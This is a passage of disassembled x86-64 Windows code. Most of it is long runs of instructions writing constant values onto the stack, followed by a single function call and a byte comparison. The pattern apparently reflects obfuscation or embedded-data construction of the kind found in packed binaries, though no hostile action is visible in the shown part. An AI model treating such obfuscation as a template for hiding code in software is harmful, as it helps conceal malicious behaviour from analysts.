mov dword [rsp + 0x9cb4], 0x568b
mov dword [rsp + 0x9cb8], 0xa648
mov dword [rsp + 0x9cbc], 0x9437
mov dword [rsp + 0x9cc0], 0x45e2
mov dword [rsp + 0x9cc4], 0x24bd
mov dword [rsp + 0x9cc8], 0x30ba
mov dword [rsp + 0x9ccc], 0x63ba
mov dword [rsp + 0x9cd0], 0x1aaa
mov dword [rsp + 0x9cd4], 0x355d
mov dword [rsp + 0x9cd8], 0x6617
mov eax, 0x4b8
mov word [rsp + 0x28f0], ax
mov dword [rsp + 0x9cdc], 0x1636
mov dword [rsp + 0x9ce0], 0x6a17
mov eax, 0x71a
mov word [rsp + 0x28f4], ax
mov dword [rsp + 0x9ce4], 0xe718
mov dword [rsp + 0x9ce8], 0x63f0
mov dword [rsp + 0x9cec], 0x3784
mov eax, 0x341
mov word [rsp + 0x28f8], ax
mov eax, 0x792
mov word [rsp + 0x28fc], ax
mov dword [rsp + 0x9cf0], 0xd375
mov byte [rsp + 0x5b0], 0x3f
mov byte [rsp + 0x5b1], 0x85
mov dword [rsp + 0x9cf4], 0x9d7c
mov dword [rsp + 0x9cf8], 0x2e0c
mov eax, 0x602
mov word [rsp + 0x2900], ax
mov dword [rsp + 0x9cfc], 0x2d5a
mov byte [rsp + 0x5b2], 1
mov byte [rsp + 0x5b3], 0x38
mov dword [rsp + 0x9d00], 0x326a
mov dword [rsp + 0x9d04], 0x63e7
mov dword [rsp + 0x9d08], 0x7ccd
mov dword [rsp + 0x9d0c], 0x2225
mov dword [rsp + 0x9d10], 0x24a6
mov dword [rsp + 0x9d14], 0xe2b3
mov byte [rsp + 0x5b4], 0x9f
mov eax, 0xe10
mov word [rsp + 0x2904], ax
mov eax, 0x776
mov word [rsp + 0x2908], ax
mov byte [rsp + 0x5b5], 0xc5
mov dword [rsp + 0x9d18], 0x1e15
mov eax, 0xbd5
mov word [rsp + 0x290c], ax
mov dword [rsp + 0x9d1c], 0x3e7e
mov dword [rsp + 0x9d20], 0x8c0d
mov eax, 0x429
mov word [rsp + 0x2910], ax
mov dword [rsp + 0x9d24], 0x46c0
mov eax, 0x377
mov word [rsp + 0x2914], ax
mov dword [rsp + 0x9d28], 0x1250
mov dword [rsp + 0x9d2c], 0x2fe3
mov dword [rsp + 0x9d30], 0x1f5b
mov dword [rsp + 0x9d34], 0x99db
mov eax, 0x5a8
mov word [rsp + 0x2918], ax
mov byte [rsp + 0x5b6], 0x1f
mov eax, 0x3b0
mov word [rsp + 0x291c], ax
mov dword [rsp + 0x9d38], 0x34f1
mov eax, 0x441
mov word [rsp + 0x2920], ax
mov dword [rsp + 0x9d3c], 0xc3c1
mov dword [rsp + 0x9d40], 0x26fb
mov dword [rsp + 0x9d44], 0x6e1
mov byte [rsp + 0x5b7], 0x3f
mov eax, 0x5bc
mov word [rsp + 0x2924], ax
mov eax, 0xdcd
mov word [rsp + 0x2928], ax
mov dword [rsp + 0x9d48], 0xe0a
mov eax, 0x593
mov word [rsp + 0x292c], ax
mov dword [rsp + 0x9d4c], 0x5177
mov eax, 0x65d
mov word [rsp + 0x2930], ax
mov dword [rsp + 0x9d50], 0x5374
mov dword [rsp + 0x9d54], 0x59c7
mov eax, 0xf08
mov word [rsp + 0x2934], ax
mov dword [rsp + 0x9d58], 0x1383
mov byte [rsp + 0x5b8], 0x59
mov eax, 0x197
mov word [rsp + 0x2938], ax
mov dword [rsp + 0x9d5c], 0xbb53
mov eax, 0x55b
mov word [rsp + 0x293c], ax
mov dword [rsp + 0x9d60], 0x60e0
mov dword [rsp + 0x9d64], 0x2fb1
mov eax, 0xad4
mov word [rsp + 0x2940], ax
mov dword [rsp + 0x9d68], 0x6967
mov dword [rsp + 0x9d6c], 0x8bc3
mov dword [rsp + 0x9d70], 0x62b4
mov dword [rsp + 0x9d74], 0x684
mov dword [rsp + 0x9d78], 0x4492
mov eax, 0x25b
mov word [rsp + 0x2944], ax
mov byte [rsp + 0x5b9], 6
mov dword [rsp + 0x9d7c], 0x34a5
mov dword [rsp + 0x9d80], 0xf69e
mov eax, 0xe05
mov word [rsp + 0x2948], ax
mov eax, 0xcef
mov word [rsp + 0x294c], ax
mov dword [rsp + 0x9d84], 0xce5c
mov dword [rsp + 0x9d88], 0xd602
mov dword [rsp + 0x9d8c], 0x5a66
mov byte [rsp + 0x5ba], 0x31
mov eax, 0xf7c
mov word [rsp + 0x2950], ax
mov eax, 0xcb9
mov word [rsp + 0x2954], ax
mov dword [rsp + 0x9d90], 0x3dbb
mov dword [rsp + 0x9d94], 0xda8b
mov eax, 0x7f1
mov word [rsp + 0x2958], ax
mov dword [rsp + 0x9d98], 0x59c
mov dword [rsp + 0x9d9c], 0x7869
mov dword [rsp + 0x9da0], 0x3c8d
mov dword [rsp + 0x9da4], 0xf14a
mov eax, 0x4f7
mov word [rsp + 0x295c], ax
mov dword [rsp + 0x9da8], 0x517b
mov dword [rsp + 0x9dac], 0x5ab1
mov eax, 0x7ad
mov word [rsp + 0x2960], ax
mov dword [rsp + 0x9db0], 0xd8d1
mov byte [rsp + 0x5bb], 0x15
mov dword [rsp + 0x9db4], 0x6351
mov dword [rsp + 0x9db8], 0x38eb
mov dword [rsp + 0x9dbc], 0x38f9
mov dword [rsp + 0x9dc0], 0xbc27
mov byte [rsp + 0x5bc], 0x75
mov dword [rsp + 0x9dc4], 0x7aac
mov dword [rsp + 0x9dc8], 0x136b
mov byte [rsp + 0x5bd], 0x20
mov byte [rsp + 0x5be], 0xa3
mov dword [rsp + 0x9dcc], 0x1a31
mov eax, 0x81b
mov word [rsp + 0x2964], ax
mov dword [rsp + 0x9dd0], 0x28e2
mov dword [rsp + 0x9dd4], 0x3755
mov dword [rsp + 0x9dd8], 0xb09e
mov eax, 0x745
mov word [rsp + 0x2968], ax
mov dword [rsp + 0x9ddc], 0x1d02
mov dword [rsp + 0x9de0], 0x6156
mov dword [rsp + 0x9de4], 0xf587
mov eax, 0x472
mov word [rsp + 0x296c], ax
mov byte [rsp + 0x5bf], 0xca
mov dword [rsp + 0x9de8], 0x3144
mov byte [rsp + 0x5c0], 0x27
mov eax, 0x42e
mov word [rsp + 0x2970], ax
mov dword [rsp + 0x9dec], 0x3a5c
mov eax, 0xd44
mov word [rsp + 0x2974], ax
mov byte [rsp + 0x5c1], 0xe1
mov byte [rsp + 0x5c2], 0x3b
mov byte [rsp + 0x5c3], 0x3f
mov dword [rsp + 0x9df0], 0x14a6
mov dword [rsp + 0x9df4], 0x1441
mov dword [rsp + 0x9df8], 0x348e
mov eax, 0x962
mov word [rsp + 0x2978], ax
mov eax, 0xd24
mov word [rsp + 0x297c], ax
mov dword [rsp + 0x9dfc], 0xbb73
mov byte [rsp + 0x5c4], 0xf1
mov dword [rsp + 0x9e00], 0x8b80
mov byte [rsp + 0x5c5], 0x84
mov dword [rsp + 0x9e04], 0x3dfa
mov byte [rsp + 0x5c6], 0x48
mov dword [rsp + 0x9e08], 0x754
mov dword [rsp + 0x9e0c], 0xf2ac
mov dword [rsp + 0x9e10], 0x38fa
mov byte [rsp + 0x5c7], 0x4c
mov dword [rsp + 0x9e14], 0x1b59
mov byte [rsp + 0x5c8], 0xfb
mov dword [rsp + 0x9e18], 0xb697
mov dword [rsp + 0x9e1c], 0x3854
mov dword [rsp + 0x9e20], 0x445f
mov byte [rsp + 0x5c9], 0x58
mov eax, 0x3a2
mov word [rsp + 0x2980], ax
mov dword [rsp + 0x9e24], 0x966d
mov dword [rsp + 0x9e28], 0x2af2
mov byte [rsp + 0x5ca], 7
mov byte [rsp + 0x5cb], 0x78
mov eax, 0xe3e
mov word [rsp + 0x2984], ax
mov dword [rsp + 0x9e2c], 0x5a58
mov eax, 0x531
mov word [rsp + 0x2988], ax
mov dword [rsp + 0x9e30], 0x3858
mov dword [rsp + 0x9e34], 0x4866
mov dword [rsp + 0x9e38], 0xd97e
mov byte [rsp + 0x5cc], 0xe3
mov dword [rsp + 0x9e3c], 0x1e11
mov dword [rsp + 0x9e40], 0x96ba
mov dword [rsp + 0x9e44], 0x323e
mov eax, 0xb42
mov word [rsp + 0x298c], ax
mov byte [rsp + 0x5cd], 0xe4
mov dword [rsp + 0x9e48], 0x5438
mov eax, 0x8d4
mov word [rsp + 0x2990], ax
mov dword [rsp + 0x9e4c], 0x2694
mov byte [rsp + 0x5ce], 0x59
mov dword [rsp + 0x9e50], 0x36
mov dword [rsp + 0x9e54], 0x5bae
mov byte [rsp + 0x5cf], 0x37
mov dword [rsp + 0x9e58], 0x71d1
mov eax, 0x4a8
mov word [rsp + 0x2994], ax
mov byte [rsp + 0x5d0], 0x75
mov dword [rsp + 0x9e5c], 0x35bb
mov dword [rsp + 0x9e60], 0xc381
mov dword [rsp + 0x9e64], 0x4b77
mov dword [rsp + 0x9e68], 0x4a3d
mov dword [rsp + 0x9e6c], 0x5c2b
mov byte [rsp + 0x5d1], 0xfe
mov dword [rsp + 0x9e70], 0x1fcc
mov eax, 0x611
mov word [rsp + 0x2998], ax
mov dword [rsp + 0x9e74], 0xc21d
mov byte [rsp + 0x5d2], 0x1c
mov dword [rsp + 0x9e78], 0x4822
mov dword [rsp + 0x9e7c], 0x628f
mov dword [rsp + 0x9e80], 0x2fc5
mov dword [rsp + 0x9e84], 0xbf3
mov dword [rsp + 0x9e88], 0xec1
mov byte [rsp + 0x5d3], 0x1c
mov dword [rsp + 0x9e8c], 0x330f
mov dword [rsp + 0x9e90], 0x485f
mov dword [rsp + 0x9e94], 0x5187
mov eax, 0xf68
mov word [rsp + 0x299c], ax
mov dword [rsp + 0x9e98], 0x7260
mov dword [rsp + 0x9e9c], 0x35e7
mov dword [rsp + 0x9ea0], 0x9efa
mov dword [rsp + 0x9ea4], 0x6b4b
mov eax, 0x263
mov word [rsp + 0x29a0], ax
mov dword [rsp + 0x9ea8], 0x3ce0
mov byte [rsp + 0x5d4], 9
mov eax, 0xd62
mov word [rsp + 0x29a4], ax
mov eax, 0x828
mov word [rsp + 0x29a8], ax
mov dword [rsp + 0x9eac], 0x23a5
mov dword [rsp + 0x9eb0], 0x1d3
mov dword [rsp + 0x9eb4], 0x125c
mov dword [rsp + 0x9eb8], 0x4562
mov dword [rsp + 0x9ebc], 0x662b
mov dword [rsp + 0x9ec0], 0x2783
mov dword [rsp + 0x9ec4], 0x1732
mov dword [rsp + 0x9ec8], 0x57db
mov eax, 0x2f9
mov word [rsp + 0x29ac], ax
mov byte [rsp + 0x5d5], 0x56
mov dword [rsp + 0x9ecc], 0x4541
mov dword [rsp + 0x9ed0], 0x47ab
mov dword [rsp + 0x9ed4], 0x4521
mov byte [rsp + 0x5d6], 0x21
mov dword [rsp + 0x9ed8], 0xd7ea
mov byte [rsp + 0x5d7], 0xb
mov byte [rsp + 0x5d8], 0xaa
mov dword [rsp + 0x9edc], 0x3278
mov dword [rsp + 0x9ee0], 0x7f33
mov dword [rsp + 0x9ee4], 0xe6d9
mov eax, 0x6d4
mov word [rsp + 0x29b0], ax
mov dword [rsp + 0x9ee8], 0x5195
mov dword [rsp + 0x9eec], 0x8818
mov byte [rsp + 0x5d9], 6
mov dword [rsp + 0x9ef0], 0x1306
mov eax, 0x323
mov word [rsp + 0x29b4], ax
mov dword [rsp + 0x9ef4], 0xf1d4
mov dword [rsp + 0x9ef8], 0x704b
mov byte [rsp + 0x5da], 0x7b
mov dword [rsp + 0x9efc], 0x4c01
mov dword [rsp + 0x9f00], 0x29ad
mov dword [rsp + 0x9f04], 0x44ae
mov dword [rsp + 0x9f08], 0x95f
mov dword [rsp + 0x9f0c], 0x8fb2
mov dword [rsp + 0x9f10], 0x2fdd
mov dword [rsp + 0x9f14], 0x6753
mov byte [rsp + 0x5db], 0xe2
mov dword [rsp + 0x9f18], 0x6d0b
mov dword [rsp + 0x9f1c], 0x1b2d
mov eax, 0x3bb
mov word [rsp + 0x29b8], ax
mov eax, 0x491
mov word [rsp + 0x29bc], ax
mov byte [rsp + 0x5dc], 7
mov eax, 0xa26
mov word [rsp + 0x29c0], ax
mov dword [rsp + 0x9f20], 0x6288
mov byte [rsp + 0x5dd], 0x15
mov dword [rsp + 0x9f24], 0x7c8e
mov dword [rsp + 0x9f28], 0x1dbb
mov eax, 0xbe6
mov word [rsp + 0x29c4], ax
mov eax, 0x265
mov word [rsp + 0x29c8], ax
mov dword [rsp + 0x9f2c], 0x2503
mov eax, 0x407
mov word [rsp + 0x29cc], ax
mov dword [rsp + 0x9f30], 0x434c
mov eax, 0x4b2
mov word [rsp + 0x29d0], ax
mov eax, 0x7c7
mov word [rsp + 0x29d4], ax
mov eax, 0x6cc
mov word [rsp + 0x29d8], ax
mov dword [rsp + 0x9f34], 0x2c6c
mov dword [rsp + 0x9f38], 0x58c1
mov eax, 0x89c
mov word [rsp + 0x29dc], ax
mov dword [rsp + 0x9f3c], 0x4a3b
mov dword [rsp + 0x9f40], 0x403c
mov dword [rsp + 0x9f44], 0x63c9
mov byte [rsp + 0x5de], 0x67
mov eax, 0x6b6
mov word [rsp + 0x29e0], ax
mov dword [rsp + 0x9f48], 0xfd1b
mov dword [rsp + 0x9f4c], 0x739a
mov byte [rsp + 0x5df], 0x11
mov dword [rsp + 0x9f50], 0xf205
mov eax, 0x797
mov word [rsp + 0x29e4], ax
mov dword [rsp + 0x9f54], 0x767d
mov byte [rsp + 0x5e0], 0xef
mov byte [rsp + 0x5e1], 0x49
mov eax, 0x46c
mov word [rsp + 0x29e8], ax
mov dword [rsp + 0x9f58], 0xcbaa
mov dword [rsp + 0x9f5c], 0x3279
mov eax, 0x646
mov word [rsp + 0x29ec], ax
mov dword [rsp + 0x9f60], 0x3662
mov byte [rsp + 0x5e2], 0xa7
mov byte [rsp + 0x5e3], 0x62
mov dword [rsp + 0x9f64], 0x5b60
mov eax, 0xbd2
mov word [rsp + 0x29f0], ax
mov dword [rsp + 0x9f68], 0x518d
mov dword [rsp + 0x9f6c], 0x6a04
mov dword [rsp + 0x9f70], 0xb2bd
mov dword [rsp + 0x9f74], 0x41d6
mov byte [rsp + 0x5e4], 0x25
mov dword [rsp + 0x9f78], 0xb2e4
mov dword [rsp + 0x9f7c], 0x59d
mov dword [rsp + 0x9f80], 0x7285
mov dword [rsp + 0x9f84], 0x12f9
mov byte [rsp + 0x5e5], 0xc4
mov dword [rsp + 0x9f88], 0x2b27
mov dword [rsp + 0x9f8c], 0x566a
mov dword [rsp + 0x9f90], 0xf2d0
mov dword [rsp + 0x9f94], 0x1236
mov byte [rsp + 0x5e6], 0xd5
mov eax, 0x121
mov word [rsp + 0x29f4], ax
mov dword [rsp + 0x9f98], 0x34d6
mov eax, 0x410
mov word [rsp + 0x29f8], ax
mov dword [rsp + 0x9f9c], 0x7dce
mov eax, 0x373
mov word [rsp + 0x29fc], ax
mov dword [rsp + 0x9fa0], 0x17d7
mov byte [rsp + 0x5e7], 0x67
mov dword [rsp + 0x9fa4], 0x74b2
mov eax, 0xa3
mov word [rsp + 0x2a00], ax
mov dword [rsp + 0x9fa8], 0xeae0
mov dword [rsp + 0x9fac], 0x1516
mov eax, 0x5ba
mov word [rsp + 0x2a04], ax
mov dword [rsp + 0x9fb0], 0x761f
mov dword [rsp + 0x9fb4], 0xcf1
mov byte [rsp + 0x5e8], 0xf
mov eax, 0xd44
mov word [rsp + 0x2a08], ax
mov dword [rsp + 0x9fb8], 0xdfd0
mov eax, 0x477
mov word [rsp + 0x2a0c], ax
mov byte [rsp + 0x5e9], 0xfa
mov byte [rsp + 0x5ea], 0x5c
mov dword [rsp + 0x9fbc], 0x2460
mov byte [rsp + 0x5eb], 0xd0
mov dword [rsp + 0x9fc0], 0x6d14
mov byte [rsp + 0x5ec], 0x3e
mov dword [rsp + 0x9fc4], 0x16ff
mov dword [rsp + 0x9fc8], 0x7718
mov byte [rsp + 0x5ed], 0x49
mov eax, 0xc73
mov word [rsp + 0x2a10], ax
mov byte [rsp + 0x5ee], 0x2e
mov byte [rsp + 0x5ef], 2
mov dword [rsp + 0x9fcc], 0x2d6c
mov eax, 0xcd7
mov word [rsp + 0x2a14], ax
mov dword [rsp + 0x9fd0], 0xfffa
mov dword [rsp + 0x9fd4], 0x1495
mov byte [rsp + 0x5f0], 0xc5
mov dword [rsp + 0x9fd8], 0xfd
mov dword [rsp + 0x9fdc], 0x56c1
mov byte [rsp + 0x5f1], 0x49
mov dword [rsp + 0x9fe0], 0x45e9
mov dword [rsp + 0x9fe4], 0x2aab
mov eax, 0x6cd
mov word [rsp + 0x2a18], ax
mov byte [rsp + 0x5f2], 0x57
mov byte [rsp + 0x5f3], 0xc4
mov dword [rsp + 0x9fe8], 0x58d0
mov dword [rsp + 0x9fec], 0x6493
mov byte [rsp + 0x5f4], 0x15
mov dword [rsp + 0x9ff0], 0x4212
mov dword [rsp + 0x9ff4], 0xc291
mov eax, 0x12
mov word [rsp + 0x2a1c], ax
mov dword [rsp + 0x9ff8], 0xc49c
mov dword [rsp + 0x9ffc], 0x7a20
mov byte [rsp + 0x5f5], 0xcc
mov dword [rsp + 0xa000], 0x4b75
mov dword [rsp + 0xa004], 0x1a3f
mov eax, 0x2b6
mov word [rsp + 0x2a20], ax
mov byte [rsp + 0x5f6], 0x19
mov dword [rsp + 0xa008], 0x785e
mov dword [rsp + 0xa00c], 0x2a73
mov byte [rsp + 0x5f7], 0xfa
mov dword [rsp + 0xa010], 0xe88
mov dword [rsp + 0xa014], 0x7f7d
mov dword [rsp + 0xa018], 0x2cad
mov dword [rsp + 0xa01c], 0x1792
mov dword [rsp + 0xa020], 0x5573
mov dword [rsp + 0xa024], 0x432e
mov eax, 0xfdf
mov word [rsp + 0x2a24], ax
mov dword [rsp + 0xa028], 0xd541
mov eax, 0x832
mov word [rsp + 0x2a28], ax
mov eax, 0xe89
mov word [rsp + 0x2a2c], ax
mov byte [rsp + 0x5f8], 0x27
mov eax, 0x729
mov word [rsp + 0x2a30], ax
mov dword [rsp + 0xa02c], 0x6cea
mov dword [rsp + 0xa030], 0xe675
mov dword [rsp + 0xa034], 0x2771
mov dword [rsp + 0xa038], 0x305c
mov dword [rsp + 0xa03c], 0x9a7
mov dword [rsp + 0xa040], 0x12c
mov byte [rsp + 0x5f9], 0xf
mov dword [rsp + 0xa044], 0x11c6
mov dword [rsp + 0xa048], 0x7a25
mov byte [rsp + 0x5fa], 0x11
mov dword [rsp + 0xa04c], 0x3436
mov eax, 0x978
mov word [rsp + 0x2a34], ax
mov byte [rsp + 0x5fb], 0x74
mov eax, 0x908
mov word [rsp + 0x2a38], ax
mov dword [rsp + 0xa050], 0xaa73
mov dword [rsp + 0xa054], 0x4223
mov dword [rsp + 0xa058], 0x5adc
mov dword [rsp + 0xa05c], 0x6e1a
mov dword [rsp + 0xa060], 0x91af
mov dword [rsp + 0xa064], 0x2133
mov byte [rsp + 0x5fc], 0x2c
mov dword [rsp + 0xa068], 0x7f01
mov byte [rsp + 0x5fd], 0x61
mov eax, 0x628
mov word [rsp + 0x2a3c], ax
mov dword [rsp + 0xa06c], 0x96a1
mov dword [rsp + 0xa070], 0x1c38
mov eax, 0x9e8
mov word [rsp + 0x2a40], ax
mov eax, 0x75
mov word [rsp + 0x2a44], ax
mov dword [rsp + 0xa074], 0x40c7
mov eax, 0x18b
mov word [rsp + 0x2a48], ax
mov dword [rsp + 0xa078], 0xdfbb
mov eax, 0xaf2
mov word [rsp + 0x2a4c], ax
mov eax, 0x7c3
mov word [rsp + 0x2a50], ax
mov dword [rsp + 0xa07c], 0x6b21
mov dword [rsp + 0xa080], 0x49fb
mov eax, 0x4ff
mov word [rsp + 0x2a54], ax
mov eax, 0x411
mov word [rsp + 0x2a58], ax
mov dword [rsp + 0xa084], 0x9ddd
mov eax, 0xca3
mov word [rsp + 0x2a5c], ax
mov dword [rsp + 0xa088], 0x79d8
mov byte [rsp + 0x5fe], 0x36
mov byte [rsp + 0x5ff], 0x4f
mov byte [rsp + 0x600], 0x4e
mov dword [rsp + 0xa08c], 0x54af
mov eax, 0xe45
mov word [rsp + 0x2a60], ax
mov dword [rsp + 0xa090], 0xb823
mov byte [rsp + 0x601], 0x66
mov eax, 0xf0d
mov word [rsp + 0x2a64], ax
mov byte [rsp + 0x602], 0x4b
mov dword [rsp + 0xa094], 0xddf
mov eax, 0x67e
mov word [rsp + 0x2a68], ax
mov dword [rsp + 0xa098], 0x206b
mov dword [rsp + 0xa09c], 0xb0a5
mov eax, 0x4af
mov word [rsp + 0x2a6c], ax
mov dword [rsp + 0xa0a0], 0x923b
mov byte [rsp + 0x603], 0x53
mov eax, 0x6b6
mov word [rsp + 0x2a70], ax
mov dword [rsp + 0xa0a4], 0x55f3
mov dword [rsp + 0xa0a8], 0xb79
mov dword [rsp + 0xa0ac], 0x55e5
mov eax, 0x2da
mov word [rsp + 0x2a74], ax
mov byte [rsp + 0x604], 0xe2
mov dword [rsp + 0xa0b0], 0x32ca
mov byte [rsp + 0x605], 0x8f
mov eax, 0x7c7
mov word [rsp + 0x2a78], ax
mov eax, 0xbb
mov word [rsp + 0x2a7c], ax
mov dword [rsp + 0xa0b4], 0x72b5
mov byte [rsp + 0x606], 0xc7
mov dword [rsp + 0xa0b8], 0x8b9d
mov dword [rsp + 0xa0bc], 0x2afa
mov dword [rsp + 0xa0c0], 0x6f61
mov dword [rsp + 0xa0c4], 0x2e25
mov eax, 0x763
mov word [rsp + 0x2a80], ax
mov dword [rsp + 0xa0c8], 0x3c5
mov dword [rsp + 0xa0cc], 0x4cc0
mov eax, 0x8b2
mov word [rsp + 0x2a84], ax
mov eax, 0x8f2
mov word [rsp + 0x2a88], ax
mov eax, 0x7ab
mov word [rsp + 0x2a8c], ax
mov dword [rsp + 0xa0d0], 0xf938
mov eax, 0x46d
mov word [rsp + 0x2a90], ax
mov dword [rsp + 0xa0d4], 0xa768
mov dword [rsp + 0xa0d8], 0xeb0f
mov byte [rsp + 0x607], 0xc8
mov dword [rsp + 0xa0dc], 0x2cea
mov dword [rsp + 0xa0e0], 0x5f
mov dword [rsp + 0xa0e4], 0x232
mov dword [rsp + 0xa0e8], 0x805
mov dword [rsp + 0xa0ec], 0x5e6e
mov dword [rsp + 0xa0f0], 0x803e
mov byte [rsp + 0x608], 0x93
mov eax, 0xb53
mov word [rsp + 0x2a94], ax
mov dword [rsp + 0xa0f4], 0x2132
mov dword [rsp + 0xa0f8], 0x3a2
mov dword [rsp + 0xa0fc], 0x671f
mov dword [rsp + 0xa100], 0xc03c
mov byte [rsp + 0x609], 1
mov dword [rsp + 0xa104], 0x29c5
mov byte [rsp + 0x60a], 0xf3
mov byte [rsp + 0x60b], 0xc6
mov dword [rsp + 0xa108], 0x266
mov byte [rsp + 0x60c], 0xc5
mov dword [rsp + 0xa10c], 0x2fa0
mov dword [rsp + 0xa110], 0x6229
mov dword [rsp + 0xa114], 0xc401
mov byte [rsp + 0x60d], 0xf1
mov byte [rsp + 0x60e], 0x64
mov byte [rsp + 0x60f], 0x2f
mov eax, 0x5e9
mov word [rsp + 0x2a98], ax
mov eax, 0x5ce
mov word [rsp + 0x2a9c], ax
mov eax, 0xfaf
mov word [rsp + 0x2aa0], ax
mov eax, 0x4bf
mov word [rsp + 0x2aa4], ax
mov eax, 0xb42
mov word [rsp + 0x2aa8], ax
mov byte [rsp + 0x610], 0x41
mov dword [rsp + 0xa118], 0xbe60
mov dword [rsp + 0xa11c], 0x7007
mov byte [rsp + 0x611], 0x1e
mov dword [rsp + 0xa120], 0xac1a
mov eax, SHMultiFileProperties
mov word [rsp + 0x2aac], ax
mov byte [rsp + 0x612], 0xf7
mov byte [rsp + 0x613], 0x26
mov dword [rsp + 0xa124], 0x3877
mov dword [rsp + 0xa128], 0x1e5a
mov byte [rsp + 0x614], 0x66
mov eax, 0xf1d
mov word [rsp + 0x2ab0], ax
mov dword [rsp + 0xa12c], 0xc2d9
mov dword [rsp + 0xa130], 0xa5b
mov dword [rsp + 0xa134], 0x82ea
mov byte [rsp + 0x615], 0x45
mov eax, 0xd3b
mov word [rsp + 0x2ab4], ax
mov eax, 0x451
mov word [rsp + 0x2ab8], ax
mov dword [rsp + 0xa138], 0x794f
mov dword [rsp + 0xa13c], 0x3f26
mov dword [rsp + 0xa140], 0x10c5
mov dword [rsp + 0xa144], 0x7730
mov eax, 0x6ac
mov word [rsp + 0x2abc], ax
mov byte [rsp + 0x616], 0x10
mov dword [rsp + 0xa148], 0x8faf
mov dword [rsp + 0xa14c], 0x152c
mov dword [rsp + 0xa150], 0x7689
mov byte [rsp + 0x617], 0x58
mov eax, 0xb34
mov word [rsp + 0x2ac0], ax
mov dword [rsp + 0xa154], 0x8958
mov byte [rsp + 0x618], 0xa8
mov dword [rsp + 0xa158], 0x2c99
mov byte [rsp + 0x619], 0x2f
mov byte [rsp + 0x61a], 0x1f
mov eax, 0x16
mov word [rsp + 0x2ac4], ax
mov dword [rsp + 0xa15c], 0xcd53
mov eax, 0xeb3
mov word [rsp + 0x2ac8], ax
mov dword [rsp + 0xa160], 0xb9f
mov byte [rsp + 0x61b], 0x36
mov dword [rsp + 0xa164], 0x415e
mov eax, 0x5f6
mov word [rsp + 0x2acc], ax
mov dword [rsp + 0xa168], 0x38fc
mov dword [rsp + 0xa16c], 0x3052
mov dword [rsp + 0xa170], 0x2774
mov eax, 0x668
mov word [rsp + 0x2ad0], ax
mov eax, 0x878
mov word [rsp + 0x2ad4], ax
mov dword [rsp + 0xa174], 0x4afd
mov byte [rsp + 0x61c], 0x41
mov eax, 0x2a4
mov word [rsp + 0x2ad8], ax
mov eax, 0xebb
mov word [rsp + 0x2adc], ax
mov eax, 0x496
mov word [rsp + 0x2ae0], ax
mov byte [rsp + 0x61d], 0x18
mov byte [rsp + 0x61e], 0xfd
mov dword [rsp + 0xa178], 0x2654
mov byte [rsp + 0x61f], 0xb1
mov dword [rsp + 0xa17c], 0xdf14
mov dword [rsp + 0xa180], 0x256f
mov dword [rsp + 0xa184], 0x198c
mov dword [rsp + 0xa188], 0x411e
mov dword [rsp + 0xa18c], 0x5a71
mov dword [rsp + 0xa190], 0x776b
mov dword [rsp + 0xa194], 0x288b
mov dword [rsp + 0xa198], 0x3287
mov dword [rsp + 0xa19c], 0xd328
mov dword [rsp + 0xa1a0], 0x267c
mov dword [rsp + 0xa1a4], 0x57cf
mov byte [rsp + 0x620], 0xa5
mov dword [rsp + 0xa1a8], 0x4223
mov eax, 0xb11
mov word [rsp + 0x2ae4], ax
mov eax, 0x535
mov word [rsp + 0x2ae8], ax
mov dword [rsp + 0xa1ac], 0x48c1
mov dword [rsp + 0xa1b0], 0xb5b3
mov dword [rsp + 0xa1b4], 0x2a17
mov byte [rsp + 0x621], 0x58
mov eax, 0xc48
mov word [rsp + 0x2aec], ax
mov dword [rsp + 0xa1b8], 0x9890
mov dword [rsp + 0xa1bc], 0x4335
mov eax, 0x115
mov word [rsp + 0x2af0], ax
mov dword [rsp + 0xa1c0], 0x2e5c
mov dword [rsp + 0xa1c4], 0x2e3a
mov dword [rsp + 0xa1c8], 0x22ba
mov eax, 0x78a
mov word [rsp + 0x2af4], ax
mov dword [rsp + 0xa1cc], 0x7d5d
mov byte [rsp + 0x622], 0x26
mov eax, 0xfe7
mov word [rsp + 0x2af8], ax
mov byte [rsp + 0x623], 0x6f
mov dword [rsp + 0xa1d0], 0x511c
mov byte [rsp + 0x624], 4
mov eax, 0x90a
mov word [rsp + 0x2afc], ax
mov dword [rsp + 0xa1d4], 0x76a4
mov dword [rsp + 0xa1d8], 0xd39e
mov byte [rsp + 0x625], 0x30
mov eax, 0x3fb
mov word [rsp + 0x2b00], ax
mov dword [rsp + 0xa1dc], 0x557a
mov dword [rsp + 0xa1e0], 0x56c
mov dword [rsp + 0xa1e4], 0x301
mov byte [rsp + 0x626], 0xf8
mov dword [rsp + 0xa1e8], 0xfa08
mov eax, 0x2ea
mov word [rsp + 0x2b04], ax
mov dword [rsp + 0xa1ec], 0xccda
mov dword [rsp + 0xa1f0], 0x7151
mov eax, 0x2e3
mov word [rsp + 0x2b08], ax
mov dword [rsp + 0xa1f4], 0x78e7
mov eax, 0xd53
mov word [rsp + 0x2b0c], ax
mov dword [rsp + 0xa1f8], 0x7406
mov dword [rsp + 0xa1fc], 0x71ee
mov dword [rsp + 0xa200], 0xceb
mov dword [rsp + 0xa204], 0xbb7
mov eax, 0x5d4
mov word [rsp + 0x2b10], ax
mov byte [rsp + 0x627], 0x9a
mov dword [rsp + 0xa208], 0x5064
mov eax, 0x26a
mov word [rsp + 0x2b14], ax
mov dword [rsp + 0xa20c], 0x5d5b
mov dword [rsp + 0xa210], 0x1389
mov dword [rsp + 0xa214], 0x2e66
mov dword [rsp + 0xa218], 0xa241
mov eax, 0xd86
mov word [rsp + 0x2b18], ax
mov eax, 0x946
mov word [rsp + 0x2b1c], ax
mov byte [rsp + 0x628], 0x2e
mov dword [rsp + 0xa21c], 0x6922
mov byte [rsp + 0x629], 0x18
mov byte [rsp + 0x62a], 0x58
mov byte [rsp + 0x62b], 2
mov byte [rsp + 0x62c], 0xe6
mov eax, 0xd02
mov word [rsp + 0x2b20], ax
mov dword [rsp + 0xa220], 0xf3af
mov dword [rsp + 0xa224], 0xe9f
mov dword [rsp + 0xa228], 0x13ef
mov dword [rsp + 0xa22c], 0xfa1
mov byte [rsp + 0x62d], 0x9a
mov dword [rsp + 0xa230], 0x7f31
mov rdx, qword [rsp + 0x29cd0]
mov cl, 0xea
call fcn.140001fa0
mov byte [rsp + 0x62e], 0x6c
movsx eax, byte [rsp + 0x62e]
cmp eax, 0x34
jne 0x1400155fc
movsx eax, byte [rsp + 0x62e]
add eax, 0x74
mov byte [rsp + 0x62e], al
mov dword [rsp + 0x50], ILFree
mov dword [rsp + 0x48], 0xbb
mov dword [rsp + 0x40], 0x6d
